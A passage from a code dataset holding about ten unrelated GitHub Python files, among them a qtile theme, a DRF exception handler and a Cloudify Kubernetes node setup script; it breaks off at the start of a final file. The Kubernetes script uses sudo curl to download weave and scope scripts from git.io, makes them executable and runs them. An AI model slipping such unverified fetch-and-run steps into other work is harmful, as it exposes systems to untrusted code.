ec2.start_instances(\n InstanceIds=[instance_id]\n )\n current_state = response['StartingInstances'][0]['CurrentState']['Name']\n previous_state = response['StartingInstances'][0]['PreviousState']['Name']\n\n message = f'Instance id :{instance_id} current state is {current_state} and previous state was {previous_state}'\n return message\n\n","repo_name":"idasilva/python-exemplos","sub_path":"bot-aws-vmware/aws/ec2.py","file_name":"ec2.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"13947282801","text":"import os\nfrom libqtile.config import Screen\nfrom libqtile import layout, bar, widget, hook\nfrom qtile_extras import widget\nfrom qtile_extras.widget.decorations import RectDecoration\nfrom qtile_extras.bar import Bar\n\ntheme = \"macchiato\"\n\ncolours = {\n \"palenight\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#282d3e\"], # Colour 1\n [\"#ff8b92\"], # Colour 2\n [\"#c3e88d\"], # Colour 3\n [\"#ffe585\"], # Colour 4\n [\"#c792ea\"], # Colour 5\n [\"#f5c2e7\"], # Colour 6\n [\"#82aaff\"], # Colour 7\n [\"#81A1C1\"], # Colour 8\n [\"#F2779C\"], # Colour 9\n [\"#ff6e6e\"] # Colour 10\n ],\n \"frappe\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#303446\"], # Colour 1\n [\"#e78284\"], # Colour 2\n [\"#a6d189\"], # Colour 3\n [\"#e5c890\"], # Colour 4\n [\"#ca9ee6\"], # Colour 5\n [\"#eebebe\"], # Colour 6\n [\"#8caaee\"], # Colour 7\n [\"#babbf1\"], # Colour 8\n [\"#81c8be\"], # Colour 9\n [\"#F2779C\"] # Colour 10\n ],\n \"macchiato\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#24273a\"], # Colour 1\n [\"#ed8796\"], # Colour 2\n [\"#a6da95\"], # Colour 3\n [\"#eed49f\"], # Colour 4\n [\"#c6a0f6\"], # Colour 5\n [\"#f0c6c6\"], # Colour 6\n [\"#8aadf4\"], # Colour 7\n [\"#b7bdf8\"], # Colour 8\n [\"#8bd5ca\"], # Colour 9\n [\"#F2779C\"] # Colour 10\n ],\n \"mocha\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#1e1e2e\"], # Colour 1\n [\"#f38baf\"], # Colour 2\n [\"#a6e3a1\"], # Colour 3\n [\"#F9E2AF\"], # Colour 4\n [\"#CBA6F7\"], # Colour 5\n [\"#f2cdcd\"], # Colour 6\n [\"#89DCEB\"], # Colour 7\n [\"#C9CBFF\"], # Colour 8\n [\"#94E2D5\"], # Colour 9\n [\"#F2779C\"] # Colour 10\n ],\n \"dracula\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#282a36\"], # Colour 1\n [\"#ff6e6e\"], # Colour 2\n [\"#50fa7b\"], # Colour 3\n [\"#f1fa8c\"], # Colour 4\n [\"#F2779C\"], # Colour 5\n [\"#ff79c6\"], # Colour 6\n [\"#8be9fd\"], # Colour 7\n [\"#d6acff\"], # Colour 8\n [\"#a4ffff\"], # Colour 9\n [\"#ff5555\"] # Colour 10\n ],\n \"nord\": [\n [\"#D8DEE9\"], # Colour 0\n [\"#2e3440\"], # Colour 1\n [\"#BF616A\"], # Colour 2\n [\"#A3BE8C\"], # Colour 3\n [\"#88C0D0\"], # Colour 4\n [\"#d6acff\"], # Colour 5\n [\"#B48EAD\"], # Colour 6\n [\"#81A1C1\"], # Colour 7\n [\"#EBCB8B\"], # Colour 8\n [\"#b5e8e0\"], # Colour 9\n [\"#E78284\"] # Colour 10\n ],\n \"one\": [\n [\"#c8ccd4\"], # Colour 0\n [\"#282c34\"], # Colour 1\n [\"#e06c75\"], # Colour 2\n [\"#98c379\"], # Colour 3\n [\"#e5c07b\"], # Colour 4\n [\"#c678dd\"], # Colour 5\n [\"#f5c2e7\"], # Colour 6\n [\"#56b6c2\"], # Colour 7\n [\"#61afef\"], # Colour 8\n [\"#F2779C\"], # Colour 9\n [\"#ff6e6e\"] # Colour 10\n ],\n}\n\nrad = 9\ndecor = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=rad,\n filled=True,\n padding_y=7,\n )\n ],\n \"padding\": 10,\n}\ndecor1 = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=[rad, 0, 0, rad],\n filled=True,\n padding_y=7,\n )\n ],\n \"padding\": 10,\n}\ndecor2 = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=[0, rad, rad, 0],\n filled=True,\n padding_y=7,\n )\n ],\n \"padding\": 10,\n}\n\n\nxx = 22\n# xf = \"ubuntumono nerd font bold\"\nxf = \"M Plus 1 Code Semi-Bold\"\ndefault = [\n widget.GroupBox(\n fontsize=xx,\n margin_y=4,\n margin_x=5,\n padding_y=3,\n padding_x=2,\n borderwidth=8,\n inactive=colours[theme][8],\n active=colours[theme][2],\n rounded=True,\n urgent_alert_method=\"text\",\n urgent_text=colours[theme][10],\n highlight_color=colours[theme][4],\n highlight_method=\"text\",\n this_current_screen_border=colours[theme][3],\n block_highlight_text_color=colours[theme][1],\n ),\n widget.Sep(\n padding=2,\n linewidth=0,\n ),\n widget.CurrentLayoutIcon(\n custom_icon_paths=[os.path.expanduser(\"~/.config/qtile/icons\")],\n scale=0.45,\n ),\n\n widget.Spacer(),\n\n widget.Systray(\n icon_size=20,\n padding=4,\n ),\n widget.TextBox(\n foreground=colours[theme][9],\n text=\"|\",\n font=xf,\n ),\n widget.CPU(\n background=colours[theme][9],\n foreground=colours[theme][1],\n format=' {load_percent}%',\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][4],\n text=\"|\",\n font=xf,\n ),\n widget.Memory(\n font=xf,\n fontsize=xx,\n background=colours[theme][4],\n foreground=colours[theme][1],\n measure_mem='G',\n measure_swap='G',\n format='{MemUsed: .2f} GB',\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][6],\n text=\"|\",\n font=xf,\n ),\n widget.Memory(\n measure_mem='G',\n font=xf,\n fontsize=xx,\n foreground=colours[theme][1],\n background=colours[theme][6],\n measure_swap='G',\n format='{SwapUsed: .2f} GB',\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][3],\n text=\"|\",\n font=xf,\n ),\n widget.Volume(\n mouse_callbacks={'Button3': lambda: qtile.cmd_spawn(\"pavucontrol\")},\n background=colours[theme][3],\n foreground=colours[theme][1],\n update_interval=0.001,\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][8],\n text=\"|\",\n font=xf,\n ),\n widget.Clock(\n foreground=colours[theme][1],\n background=colours[theme][8],\n format=' %d %b, %a',\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][5],\n text=\"|\",\n font=xf,\n ),\n widget.Clock(\n foreground=colours[theme][1],\n background=colours[theme][5],\n font=xf,\n fontsize=xx,\n format=' %I:%M %p',\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][7],\n text=\"|\",\n font=xf,\n ),\n]\nif len(os.listdir(\"/sys/class/power_supply\")) == 0:\n default.extend(\n [\n widget.CapsNumLockIndicator(\n fontsize=xx,\n font=xf,\n foreground=colours[theme][1],\n background=colours[theme][7],\n **decor,\n ),\n widget.TextBox(\n foreground=colours[theme][7],\n text=\"|\",\n font=xf,\n ),\n ]\n )\nelse:\n default.extend(\n [\n widget.UPowerWidget(\n font=xf,\n battery_width=23,\n battery_height=10,\n fontsize=xx,\n percentage_low=0.5,\n percentage_critical=0.3,\n fill_critical=\"#ff0000\",\n fill_low=colours[theme][4],\n fill_normal=colours[theme][1],\n background=colours[theme][7],\n border_colour=colours[theme][1],\n border_critical_colour=colours[theme][1],\n border_charge_colour=colours[theme][1],\n text_charging=\"\",\n text_discharging=\"\",\n text_displaytime=\"\",\n margin=6,\n **decor1,\n ),\n widget.Battery(\n fontsize=xx,\n font=xf,\n low_percentage=0.25,\n low_background=colours[theme][7],\n low_foreground=colours[theme][1],\n foreground=colours[theme][1],\n background=colours[theme][7],\n charge_char='↑',\n discharge_char='',\n update_interval=1,\n format='{percent:2.0%}{char}',\n **decor2,\n ),\n widget.TextBox(\n foreground=colours[theme][7],\n text=\"|\",\n font=xf,\n ),\n ]\n )\n\nscreens = [\n Screen(\n top=bar.Bar(\n default,\n 44,\n background=colours[theme][1],\n foreground=colours[theme][1],\n margin=[4, 10, 2, 10],\n ),\n ),\n]\n","repo_name":"keystroke3/dotfiles","sub_path":".config/qtile/themes/bubble.py","file_name":"bubble.py","file_ext":"py","file_size_in_byte":9107,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"54"} +{"seq_id":"26224324572","text":"import os\nos.environ[\"CUDA_LAUNCH_BLOCKING\"] = \"1\"\n\nimport torch\nimport argparse\nimport sys\nimport utils.image\nimport time\nimport cv2\nimport numpy as np\nimport networks.tinynet\nfrom multiprocessing import Process, Queue\nfrom tqdm import tqdm\nfrom queue import Empty\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--input\", help=\"filepath to the input video\")\nparser.add_argument(\"-s\", \"--save\", help=\"path_to_save\")\nparser.add_argument(\"-w\", \"--weights\", help=\"filepath to the weights\", default=None)\n\nargs = parser.parse_args()\n\ndef clear(q):\n try:\n while True:\n q.get_nowait()\n except Empty:\n pass\n\ndef read(Queue_out):\n\n\tprint(\"Initializing function for reading frames\")\n\n\t# Parsing of the arguments\n\tvideo_path = args.input\n\n\tdevice = torch.device(\"cuda:0\")\n\n\t# Reading the video\n\tvideo = cv2.VideoCapture(video_path)\n\n\tif not video.isOpened():\n\t\tprint(\"Error loading the video, make sure the video exists\")\n\t\tsys.exit()\n\n\t# Reading video frames for the maximum number of matches\n\n\twhile True:\n\t\tret, frame = video.read()\n\t\ttensor = utils.image.cvToTorch(frame, device).to(\"cpu\")[0]\n\t\tQueue_out.put(tensor)\n\n\ndef segment(Queue_in, Queue_out, Queue_weight):\n\n\tdevice = torch.device(\"cuda:1\")\n\n\tprint(\"Initializing function for segmenting frames\")\n\t#Loading the network\n\tnetwork = networks.tinynet.TinyNet(device).to(device)\n\n\tif args.weights is not None:\n\t\tnetwork.load_state_dict(torch.load(args.weights))\n\tnetwork.eval()\n\n\ttensor = None\n\n\tbatch_size = 5\n\tcounter = 0\n\n\ttensor = Queue_in.get()\n\tarray_of_frames = torch.zeros(batch_size, tensor.size()[0], tensor.size()[1], tensor.size()[2], dtype = torch.uint8, device = \"cpu\")\n\n\twhile True:\n\t\tif counter < batch_size:\n\t\t\tarray_of_frames[counter] = tensor\n\t\t\tcounter += 1\n\t\t\ttensor = Queue_in.get()\n\t\t\tcontinue\n\t\tif not Queue_weight.empty():\n\t\t\tnew_parameters = Queue_weight.get()\n\t\t\tnetwork.load_state_dict(new_parameters)\n\t\t\tnetwork.eval()\n\t\ttensor_GPU = array_of_frames.to(device)\n\t\ttensor_GPU_norm = utils.image.normalize(tensor_GPU.type(torch.float))\n\t\toutputs = network.forward(tensor_GPU_norm)\n\t\t_,outputs = outputs.max(dim=1)\n\t\toutputs = outputs.type(torch.uint8)\n\t\toutputs_cpu = outputs.to(\"cpu\")\n\t\tQueue_out.put(outputs_cpu)\n\t\tcounter = 0\n\ndef write(Queue_in):\n\n\tprint(\"Initializing function for writing frames\")\n\tsave_path = args.save\n\ttensor = None\n\tcounter = 0\n\n\tpbar = tqdm(total=10000)\n\n\twhile True:\n\n\t\ttensor = Queue_in.get()\n\t\tframe = tensor.numpy()\n\t\tfor i in np.arange(frame.shape[0]):\n\t\t\tcv2.imwrite(save_path + str(counter) + \".png\", frame[i])\n\t\t\tcounter += 1\n\t\tpbar.update(5)\n\tpbar.close()\n\ndef weights_update(Queue_weight):\n\n\tprint(\"Initializing function for updating weights\")\n\n\tdevice = torch.device(\"cuda:2\")\n\n\t#Loading the network\n\tnetwork = networks.tinynet.TinyNet(device).to(\"cpu\")\n\t\n\tif args.weights is not None:\n\t\tnetwork.load_state_dict(torch.load(args.weights))\n\tnetwork.eval()\n\n\twhile True :\n\t\ttime.sleep(4)\n\t\tweights = network.state_dict()\n\t\tclear(Queue_weight)\n\t\tQueue_weight.put(weights)\n\nif __name__ == \"__main__\":\n\n\tprint(\"Timing with multiple processes\")\n\n\tqueue_1 = Queue(maxsize = 10)\n\tqueue_2 = Queue()\n\tqueue_3 = Queue()\n\n\tread_process = Process(target=read, args=(queue_1,))\n\tsegment_process = Process(target=segment, args=(queue_1,queue_2, queue_3))\n\twrite_process = Process(target=write, args=(queue_2,))\n\tweight_process = Process(target=weights_update, args=(queue_3,))\n\n\tread_process.start()\n\tsegment_process.start()\n\twrite_process.start()\n\tweight_process.start()","repo_name":"cioppaanthony/online-distillation","sub_path":"tests/timing_queue_transfer.py","file_name":"timing_queue_transfer.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"54"} +{"seq_id":"31017705443","text":"import pandas as pd\nimport spc\nimport copy\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.signal import savgol_filter\n\n\ndef get_spectra(path_file):\n path_to_file = path_file\n spectra = spc.File(path_to_file) # Reading .spc file\n x, y = (spectra.x, spectra.sub[0].y) # x-value, y-value\n y = savgol_filter(y, 19, 2)\n return x, y\n\n\nfile_name = \"2022_03_10-ID_60.spc\"\nfile_name2 = \"2022_03_10-ID_02.spc\"\nfile_name3 = \"2022_03_10-ID_07.spc\"\nfile_name_dark = \"2022_04_11-ID_26.spc\"\nfile_name_dye = \"2022_04_11-ID_23.spc\"\nfile_name_water = \"2022_04_11-ID_19.spc\"\n\n\"\"\"\nспектр частицы\n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name\n[x_1, y_1] = get_spectra (file)\nx1 = x_1.tolist()\ny1 = y_1.tolist()\n\n\n\n\"\"\"\nспектр частицы номер 2\n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name2\n[x_2, y_2] = get_spectra (file)\nx2 = x_2.tolist()\ny2 = y_2.tolist()\n\n\n\n\n\"\"\"\nспектр частицы номер 3\n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name3\n[x_3, y_3] = get_spectra (file)\nx3 = x_3.tolist()\ny3 = y_3.tolist()\n\n\n\n\n\n\"\"\"\nТемновой ток\n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name_dark\n[x_dark, y_dark] = get_spectra (file)\nxdark = x_dark.tolist()\nydark = y_dark.tolist()\n\n\n\"\"\"\nФЛ красителя\n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name_dye\n[x_dye, y_dye] = get_spectra (file)\nxdye = x_dye.tolist()\nydye = y_dye.tolist()\n\n\"\"\"\nинтерполяция спектра родамина \n\n\ny_dye_interp = np.interp(x1, xdye, ydye)\ny_dye = copy.deepcopy(y_dye_interp)\n\"\"\"\n\"\"\"\nСпектр в воде \n\"\"\"\n\nfile = r\"C:\\Users\\lysikova.dv\\Documents\\GitHub\\Python_tasks_algorithm\\spc_master_test\\spectra\\Spectrum_(LS6)-\" + file_name_water\n[x_w, y_w] = get_spectra (file)\nxw = x_w.tolist()\nyw = y_w.tolist()\n\n\ndef transmittion(y):\n yt = (y - y_dark - y_dark - y_dye ) / (y_w - y_dark)\n return yt\n\n\nplt.plot(x_1, y_1, linewidth = 2, label = 'Hybrid NP')# конечный спектр\nplt.plot(x_2, y_2, linewidth = 3, label = 'Si NP')#\nplt.plot(x_3, y_3, linewidth = 2, label = 'Au NP')#\n#plt.plot(xdye, ydye)# конечный спектр\n\nplt.xlim(450, 950)\n#plt.ylim(-250, 250)\n#plt.xlabel(\"Длина волны, нм\")\nplt.xlabel(\"Wavelength (nm)\")\n#plt.ylabel(\"Интенсивность, отн.ед.\")\nplt.ylabel(\"Intensity (a. u.)\")\nplt.legend()\n#plt.title(file_name)\nplt.show()\n","repo_name":"koromsergei/Python_tasks_algorithm","sub_path":"spc_master_test/spectra/spectra_transmittence.py","file_name":"spectra_transmittence.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29020410030","text":"\n\"\"\"\"\n2 armees a qui ont demandera de donner un pseudo\nBataille suikoden 1\n\nRegles\n1000 hommes chacun\n\nArcherie plus fort que Magie \nMagie plus fort que charge\nCharge plus fort que Archerie\n\nAvance : \nCharge Vs Archerie : 10% perte face a archerie\nPossibilite de checker la prochaine attaque de l'ennemi \n - voleur (50% chance efficace)\n - ninja (100%)\n - Stratege (boost force charge (+25% sur deux tours))\n - Armee dragon (une fois, perd face a fleche)\n\nCelui qui perd tous ses hommes a perdu\n\"\"\"\n# coding : utf-8\n\nfrom random import choice,randrange\n\nattack_type = [\"C\", \"M\", \"B\"]\n\nclass Army :\n def __init__ (self,name= 'Player',number_of_soldier = 1000, level = 1):\n \n if name == \"\" :\n self.name = input(\"Enter player army name : \\n\")\n else :\n self.name = name \n \n self.name = self.name.capitalize()\n self.number_of_soldier = int(number_of_soldier)\n self.level = level\n\n\n def attack (self,attack):\n attack = input (\"Choose your move : \\n Charge attack (c)\\n Magic attack (m)\\n Bow attack (b) \\n\")\n if attack == \"c\" or attack == \"C\":\n print(\"{} attacks : Charge attack (c) \".format(self.name))\n elif attack == \"m\" or attack == \"M\":\n print(\"{} attacks : Magic attack (m) \".format(self.name))\n elif attack == \"b\" or attack == \"B\":\n print(\"{} attacks : Bow attack (b) \".format(self.name))\n return attack.capitalize()\n\n\n def attackAuto (self,attack):\n attack = choice(attack_type)\n \n if attack == \"C\":\n print(\"{} attacks : Charge attack (c) \".format(self.name))\n elif attack == \"M\":\n print(\"{} attacks : Magic attack (m) \".format(self.name))\n elif attack == \"B\":\n print(\"{} attacks : Bow attack (b) \".format(self.name))\n\n return attack\n\n\nprint(\"****************** SUIKODEN EPIC BATTLE ******************\")\n\n\narmy1=Army(\"Ennemy\",number_of_soldier=1000,level=1)\n\nif army1.level == 1 :\n army1.name =\"Kwanda Rossman\"\n army1.number_of_soldier=1500\n attack_type = [\"C\", \"C\", \"C\", \"B\"]\n\n \nelif army1.level== 2 :\n army1.name =\"Milich Openheimer\"\n army1.number_of_soldier=1700 \n attack_type = [\"M\", \"M\", \"M\", \"B\"]\n\narmy2=Army(\"\")\nprint(\"The player army name is {} , level {}, has {} men.\".format(army2.name,army2.level,army2.number_of_soldier))\nprint(\"You are facing {}'s army , level {}, has {} men.\".format(army1.name,army1.level,army1.number_of_soldier))\n\nprint(\"{} VS {}\".format(army1.name,army2.name))\n\nnb1 = army1.number_of_soldier\nnb2 = army2.number_of_soldier\n\n\nwhile True : \n\n a = army2.attack(\"\")\n b = army1.attackAuto(\"\")\n looserLoss = randrange(80,120)\n winnerLoss = randrange(0, int(looserLoss * 10/100))\n drawLoss = randrange(60,100)\n\n if nb1 <= drawLoss or nb1 <= looserLoss or nb1 <= winnerLoss:\n nb1 = 0\n elif nb2 <= drawLoss or nb2 <= looserLoss or nb2 <= winnerLoss:\n nb2 = 0\n else :\n if a == b :\n print(\"This is a draw\")\n\n nb1 = nb1 - drawLoss\n nb2 = nb2 - drawLoss\n \n print(\"{} has lost {} soldiers, remaining {}\".format(army1.name,drawLoss,nb1))\n print(\"{} has lost {} soldiers, remaining {}\".format(army2.name,drawLoss,nb2))\n \n\n# case when player wins (army2 : a)\n elif (a == \"B\" and b == \"M\") or (a == \"M\" and b == \"C\") :\n nb1 = nb1 - looserLoss\n print(\"{} wins!\".format(army2.name)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army1.name,looserLoss,nb1))\n \n elif (a == \"C\" and b == \"B\"):\n nb1 = nb1 - looserLoss\n nb2 = nb2 - winnerLoss\n print(\"{} wins!\".format(army2.name)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army1.name,looserLoss,nb1)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army2.name,winnerLoss,nb2))\n\n\n\n# case when computer wins (army1 : b)\n\n elif (b == \"C\" and a == \"B\"):\n nb2 = nb2 - looserLoss\n nb1 = nb1 - winnerLoss\n print(\"{} wins!\".format(army1.name)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army2.name,looserLoss,nb2)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army1.name,winnerLoss,nb1))\n\n\n elif (b == \"B\" and a == \"M\") or (b == \"M\" and a == \"C\") :\n nb2 = nb2 - looserLoss\n print(\"{} wins!\".format(army1.name)) \n print(\"{} has lost {} soldiers, remaining {}\".format(army2.name,looserLoss,nb2))\n\n else :\n print(\"Please select a valid action\")\n \n if nb2 <= 0 :\n print(\"{} wins with {} soldier(s) left\".format(army1.name,nb1))\n break\n\n elif nb1<= 0 :\n print(\"{} wins with {} soldier(s) left\".format(army2.name,nb2))\n break","repo_name":"Nekonikosaka/suikoden_epic_battle","sub_path":"suikodenBattle 0314.py","file_name":"suikodenBattle 0314.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18918515907","text":"# Note: Don't import \"exceptions_hog\" package in top level of this module, otherwise our monkey\n# patching will fail\nimport json\nimport logging\nfrom typing import Dict, List, Optional, Union\n\nimport sentry_sdk\nfrom rest_framework import exceptions\nfrom rest_framework.response import Response\nfrom rest_framework.utils import encoders\nfrom rest_framework_simplejwt.exceptions import InvalidToken as JWTInvalidToken\n\nlogger = logging.getLogger(__name__)\n\n\ndef exception_handler(exc: BaseException, context: Optional[Dict] = None) -> Optional[Response]:\n # NOTE: handling a special case of\n # rest_framework_simplejwt.exceptions.InvalidToken due to its breaking\n # nature with 'exceptions_hog' package when this error raised in\n # 'rest_framework_simplejwt.authentication.JWTAuthentication\n # .get_validated_token()' method\n if (\n isinstance(exc, JWTInvalidToken)\n and isinstance(exc.detail, dict)\n and \"messages\" in exc.detail\n ):\n logger.warning(\n f\"Updating error detail of InvalidToken exception, original \"\n f\"error detail is : \"\n f\"{json.dumps(exc.detail, cls=encoders.JSONEncoder)} \"\n )\n exc.detail = exceptions._get_error_details(exc.default_detail, exc.default_code)\n import exceptions_hog\n\n resp = exceptions_hog.exception_handler(exc, context)\n if isinstance(resp, Response):\n resp.data = {\n \"success\": False,\n \"error\": resp.data,\n }\n return resp\n\n\ndef exception_reporter(exc: BaseException, context: Optional[Dict] = None) -> None:\n \"\"\"\n Logic for reporting an exception to any APMs.\n Example:\n if not isinstance(exc, exceptions.APIException):\n capture_exception(exc)\n \"\"\"\n # log error to logger\n if not isinstance(exc, exceptions.APIException):\n request = context[\"request\"]\n msg = f\"Error while processing request '{request.path}' : {str(exc)}\"\n logger.exception(msg)\n\n # log error to sentry\n if not isinstance(exc, exceptions.APIException):\n sentry_sdk.capture_exception(exc)\n\n\ndef monkey_patch_exceptions_hog():\n import exceptions_hog.handler\n\n _get_attr_original = exceptions_hog.handler._get_attr\n\n def _get_attr(exception_key: Optional[Union[str, List[str]]] = None) -> Optional[str]:\n # ensure each key should be of type string if we have list\n if isinstance(exception_key, list):\n exception_key = [key if isinstance(key, str) else str(key) for key in exception_key]\n return _get_attr_original(exception_key)\n\n exceptions_hog.handler._get_attr = _get_attr\n\n\nmonkey_patch_exceptions_hog()\n","repo_name":"rajeshyadav456/allproject","sub_path":"soteria-backend-main/src/soteria/api/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30518460270","text":"#!/usr/bin/env python\n\nimport subprocess\n\nfrom cloudify import ctx\nfrom cloudify.state import ctx_parameters as inputs\nfrom cloudify.exceptions import OperationRetry\n\n\nWAVE_UTILS_CMD = [\n 'sudo curl -L git.io/weave -o /usr/local/bin/weave',\n 'sudo chmod a+x /usr/local/bin/weave',\n 'sudo curl -L git.io/scope -o /usr/local/bin/scope',\n 'sudo chmod a+x /usr/local/bin/scope',\n 'sudo /usr/local/bin/scope launch',\n]\n\n\ndef execute_command(_command):\n\n ctx.logger.info('_command {0}.'.format(_command))\n\n subprocess_args = {\n 'args': _command.split(),\n 'stdout': subprocess.PIPE,\n 'stderr': subprocess.PIPE\n }\n\n ctx.logger.info('subprocess_args {0}.'.format(subprocess_args))\n\n process = subprocess.Popen(**subprocess_args)\n output, error = process.communicate()\n\n ctx.logger.info('command: {0} '.format(_command))\n ctx.logger.info('output: {0} '.format(output))\n ctx.logger.info('error: {0} '.format(error))\n ctx.logger.info('process.returncode: {0} '.format(process.returncode))\n\n if process.returncode:\n ctx.logger.error('Running `{0}` returns error.'.format(_command))\n return False\n\n return output\n\n\ndef set_hostname():\n hostname = execute_command('hostname')\n # Re-try ``hostname`` command in case it failed\n if hostname is False:\n raise OperationRetry('Re-try running {0}'.format('hostname'))\n\n # Check ``hostname`` output\n hostname = hostname.rsplit('\\n')\n if hostname:\n ctx.instance.runtime_properties['hostname'] = hostname[0]\n\n # In case ``hostname`` is empty then re-try again\n else:\n raise OperationRetry('hostname output is empty !!, re-try again')\n\n\nif __name__ == '__main__':\n\n # echo 1 | sudo tee /proc/sys/net/bridge/bridge-nf-call-iptables\n status = execute_command(\n \"sudo sysctl net.bridge.bridge-nf-call-iptables=1\")\n if status is False:\n raise OperationRetry('Failed to set bridge-nf-call-iptables')\n\n # Set ``hostname`` as runtime properties for the current node\n set_hostname()\n\n private_master_ip = inputs.get('master_ip')\n public_master_ip = inputs.get('public_master_ip')\n bootstrap_token = inputs.get('bootstrap_token')\n bootstrap_hash = inputs.get('bootstrap_hash')\n master_port = inputs.get('master_port')\n\n # Set the ``public_master_ip`` as runtime property\n ctx.instance.runtime_properties['public_master_ip'] = public_master_ip\n\n # Join the cluster.\n join_command = (\n 'sudo kubeadm join --token {0} --discovery-token-ca-cert-hash {1} '\n '{2}:{3} --skip-preflight-checks'\n .format(bootstrap_token, bootstrap_hash,\n private_master_ip, master_port)\n )\n ctx.logger.info(\"Join by {}\".format(repr(join_command)))\n status = execute_command(join_command)\n if not status:\n raise OperationRetry(\n 'Failed to execute join cluster command {0}'.format(join_command))\n\n # Install weave-related utils\n for cmd in WAVE_UTILS_CMD:\n status = execute_command(cmd)\n if status is False:\n raise OperationRetry('Failed to execute {0} command'.format(cmd))\n","repo_name":"cloudify-incubator/kubernetes-node-blueprints","sub_path":"scripts/kubernetes_node/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42283549123","text":"# Import media and fresh_tomatoes\nimport media # Contains the \"Movie\" class\nimport fresh_tomatoes # Contains function to render web page\n\n# Create multiple instances of the class \"Movie\"\ngran_torino = media.Movie(\"Gran Torino\",\n \"https://upload.wikimedia.org/wikipedia/en/c/c6/Gran_Torino_poster.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=9ecW-d-CBPc\")\n\npulp_fiction = media.Movie(\"Pupl Fiction\",\n \"http://www.gstatic.com/tv/thumb/movieposters/15684/p15684_p_v8_ac.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=wZBfmBvvotE\")\n\nforrest_gump = media.Movie(\"Forrest Gump\",\n \"http://images.fan-de-cinema.com/affiches/large/60/25875.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=bLvqoHBptjg\")\n\nscarface = media.Movie(\"Scarface\",\n \"http://fr.web.img3.acsta.net/medias/nmedia/18/35/23/36/18376641.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=7pQQHnqBa2E\")\n\nreservoir_dogs = media.Movie(\"Reservoir Dogs\",\n \"http://www.cinemasterpieces.com/72013/resvdec12.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=vayksn4Y93A\")\n\nthe_godfather = media.Movie(\"The Godfather\",\n \"http://fontmeme.com/images/The-Godfather-Poster.jpg\", # NOQA\n \"https://www.youtube.com/watch?v=sY1S34973zA\")\n\n# Create a list of all the movie\nmovies_list = [gran_torino, pulp_fiction, forrest_gump, scarface,\n reservoir_dogs, the_godfather]\n\n# Call the \"open_movies_page\" function to render the we page\nfresh_tomatoes.open_movies_page(movies_list)\n","repo_name":"mottetj/UdacityMovieTrailerWebsite","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37132016201","text":"def threeSum(nums):\n nums.sort()\n output_set = set()\n output_list = list()\n for i in range(len(nums)):\n start, end = i+1, len(nums) - 1\n while start < end:\n a, b, c = nums[i], nums[start], nums[end]\n total = (a + b + c)\n if total == 0:\n if (a, b, c) not in output_set:\n output_set.add((a, b, c))\n output_list.append([a, b, c])\n start += 1\n elif total > 0:\n end -= 1\n else:\n start += 1\n return output_list\n\nprint(threeSum([0]))","repo_name":"vishalshirke7/DSA","sub_path":"two_pointer/3_sum.py","file_name":"3_sum.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19396593401","text":"import struct\n\n\n# 这是一个示例 Python 